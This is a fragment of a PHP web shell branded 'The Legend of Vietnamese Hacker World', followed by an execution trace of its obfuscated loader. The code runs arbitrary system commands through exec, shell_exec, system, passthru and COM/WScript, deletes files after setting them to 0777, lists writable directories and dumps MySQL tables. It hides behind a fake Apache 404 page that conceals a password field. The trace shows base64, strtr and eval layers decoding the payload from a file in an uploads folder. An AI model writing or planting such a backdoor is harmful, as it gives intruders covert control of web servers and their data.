p('day:');
makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
p('hour:');
makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
p('minute:');
makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
p('second:');
makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
p('</p>');
formfooter();
} elseif ($action == 'shell') {
if (false) {
if ($program && $parameter) {
$shell = new COM('Shell.Application');
$a = $shell->ShellExecute($program, $parameter);
m('Program run has ' . (!$a ? 'success' : 'fail'));
}
!$program && ($program = 'c:\\windows\\system32\\cmd.exe');
!$parameter && ($parameter = "/c net start > /var/www/html/log.txt");
formhead(array('title' => 'Execute Program'));
makehide('action', 'shell');
makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
p('<p>');
makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
p('</p>');
formfoot();
}
formhead(array('title' => 'Execute Command'));
makehide('action', 'shell');
if (false) {
$execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
}
p('<p>');
makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
p('</p>');
formfoot();
if ($command) {
p('<hr width="100%" noshade /><pre>');
if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c ' . $command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command . "\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo execute($command);
}
p('</pre>');
}
} elseif ($action == 'phpenv') {
$upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
!$dis_func && ($dis_func = 'No');
$info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', "/var/www/html/404_safe.php.f4532128b17a624ab90681640a4f3885.bin"), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', "<a href=\"javascript:goaction('phpinfo');\">Yes</a>"), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $adminmail), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $upsize), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func));
if ($phpvarname) {
m($phpvarname . ' : ' . getcfg($phpvarname));
}
formhead(array('title' => 'Server environment'));
makehide('action', 'phpenv');
makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1));
formfooter();
$hp = array(0 => 'Server', 1 => 'PHP');
for ($a = 0; $a < 2; $a++) {
p('<h2>' . $hp[$a] . ' »</h2>');
p('<ul class="info">');
if ($a == 0) {
for ($i = 1; $i <= 9; $i++) {
p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
}
} elseif ($a == 1) {
for ($i = 10; $i <= 23; $i++) {
p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
}
}
p('</ul>');
}
} else {
m('Undefined Action');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
<span style="float:right;"><?php
debuginfo();
ob_end_flush();
?></span>
<B>The Legend of Vietnamese Hacker World</B> All Rights Reserved.
</div>
</body>
</html>
<?php
/*======================================================
Show info shell
======================================================*/
function m($msg)
{
echo "<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;\">";
echo $msg;
echo "</div>";
}
function scookie($key, $value, $life = 0, $prefix = 1)
{
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin['cookiepre'] : '') . $key;
$life = $life ? $life : $admin['cookielife'];
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename)
{
$multipage = '';
if ($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if ($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if ($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if ($to - $from < $page && $to - $from < $pages) {
$to = $page;
}
} elseif ($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if ($to - $from < $page && $to - $from < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
for ($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
}
return $multipage;
}
// Login page
function loginpage()
{
?>
<html> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL / was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache Server at Port 80</address> <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style> <center> <form method="POST" action=""> <span style="font:10pt tahoma;"></span><input name="password" type="password" size="20"> <input type="hidden" name="doing" value="login"> </form> </center> </html>
<?php
exit;
}
//end loginpage()
function execute($cfe)
{
$res = '';
if ($cfe) {
if (function_exists('exec')) {
@exec($cfe, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif (function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cfe, "r"))) {
$res = '';
while (!@feof($f)) {
$res .= @fread($f, 1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr)
{
$path = execute("which {$pr}");
return $path ? $path : $pr;
}
function cf($fname, $text)
{
if ($fp = @fopen($fname, 'w')) {
@fputs($fp, @base64_decode($text));
@fclose($fp);
}
}
// Debug
function debuginfo()
{
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format($mtime[1] + $mtime[0] - $starttime, 6);
echo 'Processed in ' . $totaltime . ' second(s)';
}
// Function connect database
function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306')
{
if (!($link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass))) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if ($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if ($link && mysql_get_server_info() > '4.1') {
if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
q("SET character_set_connection={$charset}, character_set_results={$charset}, character_set_client=binary;", $link);
}
}
return $link;
}
// Array strip
function s_array(&$array)
{
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else {
if (is_string($array)) {
$array = stripslashes($array);
}
}
return $array;
}
// HTML Strip
function html_clean($content)
{
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// Chmod
function getChmod($filepath)
{
return substr(base_convert(@fileperms($filepath), 10, 8), -4);
}
function getPerms($filepath)
{
$mode = @fileperms($filepath);
if (($mode & 0xc000) === 0xc000) {
$type = 's';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0xa000) === 0xa000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner['read'] = $mode & 0400 ? 'r' : '-';
$owner['write'] = $mode & 0200 ? 'w' : '-';
$owner['execute'] = $mode & 0100 ? 'x' : '-';
$group['read'] = $mode & 040 ? 'r' : '-';
$group['write'] = $mode & 020 ? 'w' : '-';
$group['execute'] = $mode & 010 ? 'x' : '-';
$world['read'] = $mode & 04 ? 'r' : '-';
$world['write'] = $mode & 02 ? 'w' : '-';
$world['execute'] = $mode & 01 ? 'x' : '-';
if ($mode & 0x800) {
$owner['execute'] = $owner['execute'] == 'x' ? 's' : 'S';
}
if ($mode & 0x400) {
$group['execute'] = $group['execute'] == 'x' ? 's' : 'S';
}
if ($mode & 0x200) {
$world['execute'] = $world['execute'] == 'x' ? 't' : 'T';
}
return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
}
function getUser($filepath)
{
if (function_exists('posix_getpwuid')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
}
}
return "";
}
// Delete dir
function deltree($deldir)
{
$mydir = @dir($deldir);
while ($file = $mydir->read()) {
if (is_dir($deldir . '/' . $file) && $file != '.' && $file != '..') {
@chmod($deldir . '/' . $file, 0777);
deltree($deldir . '/' . $file);
}
if (is_file($deldir . '/' . $file)) {
@chmod($deldir . '/' . $file, 0777);
@unlink($deldir . '/' . $file);
}
}
$mydir->close();
@chmod($deldir, 0777);
return @rmdir($deldir) ? 1 : 0;
}
// Background
function bg()
{
global $bgc;
return $bgc++ % 2 == 0 ? 'alt1' : 'alt2';
}
// Get path
function getPath($scriptpath, $nowpath)
{
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath .= '/';
}
return $nowpath;
}
// Get up path
function getUpPath($nowpath)
{
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num - 1], $pathdb[$num - 2]);
}
$uppath = implode('/', $pathdb) . '/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
// Config
function getcfg($varname)
{
$result = get_cfg_var($varname);
if ($result == 0) {
return "No";
} elseif ($result == 1) {
return "Yes";
} else {
return $result;
}
}
// Function name
function getfun($funName)
{
return false !== function_exists($funName) ? 'Yes' : 'No';
}
function GetList($dir)
{
global $dirdata, $j, $nowpath;
!$j && ($j = 1);
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f = str_replace('//', '/', $dir . '/' . $file);
if ($file != '.' && $file != '..' && is_dir($f)) {
if (is_writable($f)) {
$dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
$dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
$dirdata[$j]['dirchmod'] = getChmod($f);
$dirdata[$j]['dirperm'] = getPerms($f);
$dirdata[$j]['dirlink'] = ue($dir);
$dirdata[$j]['server_link'] = $f;
$dirdata[$j]['client_link'] = ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql)
{
//echo $sql.'<br>';
$res = $error = '';
if (!($res = @mysql_query($sql))) {
return 0;
} else {
if (is_resource($res)) {
return 1;
} else {
return 2;
}
}
return 0;
}
function q($sql)
{
return @mysql_query($sql);
}
function fr($qy)
{
mysql_free_result($qy);
}
function sizecount($size)
{
if ($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ' G';
} elseif ($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ' M';
} elseif ($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ' K';
} else {
$size .= ' B';
}
return $size;
}
// Zip
class PHPZip
{
var $out = '';
function PHPZip($dir)
{
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) {
$filelist = $dir;
} else {
$filelist = $this->GetFileList($dir);
//File list
foreach ($filelist as $k => $v) {
$filelist[] = substr($v, strlen($dir) + 1);
}
}
if (!empty($dir) && !is_array($dir) && file_exists($dir)) {
chdir($dir);
} else {
chdir($curdir);
}
if (count($filelist) > 0) {
foreach ($filelist as $filename) {
if (is_file($filename)) {
$fd = fopen($filename, 'r');
$content = @fread($fd, filesize($filename));
fclose($fd);
if (is_array($dir)) {
$filename = basename($filename);
}
$this->addFile($content, $filename);
}
}
$this->out = $this->file();
chdir($curdir);
}
return 1;
} else {
return 0;
}
}
// Show file list
function GetFileList($dir)
{
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if ($file != '.' && $file != '..') {
$f = $dir . '/' . $file;
if (is_dir($f)) {
$this->GetFileList($f);
}
$a[] = $f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "PK\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0)
{
$timearray = $unixtime == 0 ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
// end if
return $timearray['year'] - 1980 << 25 | $timearray['mon'] << 21 | $timearray['mday'] << 16 | $timearray['hours'] << 11 | $timearray['minutes'] << 5 | $timearray['seconds'] >> 1;
}
function addFile($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\\x' . $dtime[6] . $dtime[7] . '\\x' . $dtime[4] . $dtime[5] . '\\x' . $dtime[2] . $dtime[3] . '\\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "PK\x03\x04";
$fr = "PK\x03\x04\x14\x00";
$fr = "PK\x03\x04\x14\x00\x00\x00";
$fr = "PK\x03\x04\x14\x00\x00\x00\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this->datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "PK\x01\x02";
$cdrec = "PK\x01\x02\x00\x00";
$cdrec = "PK\x01\x02\x00\x00\x14\x00";
$cdrec = "PK\x01\x02\x00\x00\x14\x00\x00\x00";
$cdrec = "PK\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name));
$cdrec .= pack('v', 0);
$cdrec .= pack('v', 0);
$cdrec .= pack('v', 0);
$cdrec .= pack('v', 0);
$cdrec .= pack('V', 32);
$cdrec .= pack('V', $this->old_offset);
$this->old_offset = $new_offset;
$cdrec .= $name;
$this->ctrl_dir[] = $cdrec;
}
function file()
{
$data = implode('', $this->datasec);
$ctrldir = implode('', $this->ctrl_dir);
return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
}
// Dump mysql
function sqldumptable($table, $fp = 0)
{
$tabledump = "DROP TABLE IF EXISTS {$table};\n";
$tabledump .= "CREATE TABLE {$table} (\n";
$firstfield = 1;
$fields = q("SHOW FIELDS FROM {$table}");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield = 0;
}
$tabledump .= " {$field['Field']} {$field['Type']}";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '{$field['Default']}'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " {$field['Extra']}";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM {$table}");
while ($key = mysql_fetch_array($keys)) {
$kname = $key['Key_name'];
if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
$kname = "UNIQUE|{$kname}";
}
if (!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
fr($keys);
while (list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames = implode($columns, ",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ({$colnames})";
} else {
if (substr($kname, 0, 6) == "UNIQUE") {
$kname = substr($kname, 7);
}
$tabledump .= " KEY {$kname} ({$colnames})";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp, $tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM {$table}");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO {$table} VALUES(";
$fieldcounter = -1;
$firstfield = 1;
while (++$fieldcounter < $numfields) {
if (!$firstfield) {
$tabledump .= ", ";
} else {
$firstfield = 0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp, $tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp, "\n");
} else {
echo "\n";
}
}
function ue($str)
{
return urlencode($str);
}
function p($str)
{
echo $str . "\n";
}
function tbhead()
{
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot()
{
p('</table>');
}
function makehide($name, $value = '')
{
p("<input id=\"{$name}\" type=\"hidden\" name=\"{$name}\" value=\"{$value}\" />");
}
function makeinput($arg = array())
{
$arg['size'] = $arg['size'] > 0 ? "size=\"{$arg['size']}\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && ($arg['type'] = 'text');
$arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>{$arg['title']}<input class=\"{$arg['class']}\" name=\"{$arg['name']}\" id=\"{$arg['name']}\" value=\"{$arg['value']}\" type=\"{$arg['type']}\" {$arg['size']} {$arg['extra']} /></p>");
} else {
p("{$arg['title']}<input class=\"{$arg['class']}\" name=\"{$arg['name']}\" id=\"{$arg['name']}\" value=\"{$arg['value']}\" type=\"{$arg['type']}\" {$arg['size']} {$arg['extra']} />");
}
}
function makeselect($arg = array())
{
if ($arg['onchange']) {
$onchange = 'onchange="' . $arg['onchange'] . '"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) {
p('<p>');
}
p("{$arg['title']} <select class=\"input\" id=\"{$arg['name']}\" name=\"{$arg['name']}\" {$onchange}>");
if (is_array($arg['option'])) {
foreach ($arg['option'] as $key => $value) {
if ($arg['selected'] == $key) {
p("<option value=\"{$key}\" selected>{$value}</option>");
} else {
p("<option value=\"{$key}\">{$value}</option>");
}
}
}
p("</select>");
if ($arg['newline']) {
p('</p>');
}
}
function formhead($arg = array())
{
!$arg['method'] && ($arg['method'] = 'post');
!$arg['action'] && ($arg['action'] = $self);
$arg['target'] = $arg['target'] ? "target=\"{$arg['target']}\"" : '';
!$arg['name'] && ($arg['name'] = 'form1');
p("<form name=\"{$arg['name']}\" id=\"{$arg['name']}\" action=\"{$arg['action']}\" method=\"{$arg['method']}\" {$arg['target']}>");
if ($arg['title']) {
p('<h2>' . $arg['title'] . ' »</h2>');
}
}
function maketext($arg = array())
{
!$arg['cols'] && ($arg['cols'] = 100);
!$arg['rows'] && ($arg['rows'] = 25);
$arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
p("<p>{$arg['title']}<textarea class=\"area\" id=\"{$arg['name']}\" name=\"{$arg['name']}\" cols=\"{$arg['cols']}\" rows=\"{$arg['rows']}\" {$arg['extra']}>{$arg['value']}</textarea></p>");
}
function formfooter($name = '')
{
!$name && ($name = 'submit');
p("<p><input class=\"bt\" name=\"submit\" id=\\\"submit\\\" type=\"submit\" value=\"Submit\"></p>");
p('</form>');
}
function formfoot()
{
p('</form>');
}
// Exit
function pr($a)
{
echo "<pre>";
print_r($a);
echo "</pre>";
}
};
};
};
};
return;
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:07:15.022769]
1 0 1 0.000161 393528
1 3 0 0.000450 539840 {main} 1 /var/www/html/uploads/404_safe.php 0 0
2 4 0 0.000468 539840 urldecode 0 /var/www/html/uploads/404_safe.php 1 1 '%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'
2 4 1 0.000485 539952
2 4 R 'fg6sbehpra4co_tnd'
1 A /var/www/html/uploads/404_safe.php 1 $OOO000000 = 'fg6sbehpra4co_tnd'
1 A /var/www/html/uploads/404_safe.php 1 GLOBALS['OOO0000O0'] = 'base64_d'
1 A /var/www/html/uploads/404_safe.php 1 ['OOO0000O0'] .= 'ecode'
1 A /var/www/html/uploads/404_safe.php 1 GLOBALS['OOO000O00'] = 'fopen'
1 A /var/www/html/uploads/404_safe.php 1 GLOBALS['O0O000O00'] = 'fget'
1 A /var/www/html/uploads/404_safe.php 1 GLOBALS['O0O000O00'] = 'fgets'
1 A /var/www/html/uploads/404_safe.php 1 GLOBALS['O0O00OO00'] = 'fread'
1 A /var/www/html/uploads/404_safe.php 1 GLOBALS['OOO00000O'] = 'strtr'
1 A /var/www/html/uploads/404_safe.php 1 $OOO0O0O00 = '/var/www/html/uploads/404_safe.php'
1 A /var/www/html/uploads/404_safe.php 1 $OO00O0000 = 135520
2 5 0 0.000620 540064 base64_decode 0 /var/www/html/uploads/404_safe.php 1 1 'JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU3Zik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwncEc1L2Nud3VqbG0xTFh0NFBFSjNvOUNGVVc2eE1rYnpOUmFpSCtTZVlBZHMwN3lPZ2ZCWjJoS3JEcXY4UUlUVj0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'
2 5 1 0.000649 540608
2 5 R '$O000O0O00=$GLOBALS[\'OOO000O00\']($OOO0O0O00,\'rb\');$GLOBALS[\'O0O00OO00\']($O000O0O00,0x57f);$OO00O00O0=$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,0x1a8),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\'));eval($OO00O00O0);'
2 6 0 0.000698 543544 eval 1 '$O000O0O00=$GLOBALS[\'OOO000O00\']($OOO0O0O00,\'rb\');$GLOBALS[\'O0O00OO00\']($O000O0O00,0x57f);$OO00O00O0=$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,0x1a8),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\'));eval($OO00O00O0);' /var/www/html/uploads/404_safe.php 1 0
3 7 0 0.000727 543544 fopen 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code 1 2 '/var/www/html/uploads/404_safe.php' 'rb'
3 7 1 0.000751 544208
3 7 R resource(4) of type (stream)
2 A /var/www/html/uploads/404_safe.php(1) : eval()'d code 1 $O000O0O00 = resource(4) of type (stream)
3 8 0 0.000781 544136 fread 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code 1 2 resource(4) of type (stream) 1407
3 8 1 0.000802 553928
3 8 R '<?php /* Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg==j5ERj9 */$OOO000000=urldecode(\'%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64\');$GLOBALS[\'OOO0000O0\']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS[\'OOO0000O0\'].=$GLOBALS[\'OOO0000O0\']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS[\'OOO0000O0\']{7}.$OOO000000{5};$GLOBALS[\'OOO000O00\']=$OOO000000{0'
3 9 0 0.000835 552328 fread 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code 1 2 resource(4) of type (stream) 424
3 9 1 0.000849 552904
3 9 R 'lcI4L/G4L/G4L/hZkulzMS9gxwniWJNeFhIwJofnFhQe15jejaDH32I4LcQg3Zpg1ajejagHE2f4PHnLoh0e32I4L/pgLcQglh2YlckL32lG3nXxl2I43ZpgL/pg3Bkkm5Eu3cI5Pof3CBk4LcQgLcI4L/peFJNH3ZpgLcQg3Zpg15E43Zpg3ZpgL/pA15kgEZoOUKqrkCA0x3nLCuP2oc9mLKQqP2W99ZWD3C7abHqJUC+jmhX+ConHMZprboIeWHl6LSR1MHEfkiREJ9EC4JM0l2n5P2EnEHkjJoA13cht3hGEo+Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg=='
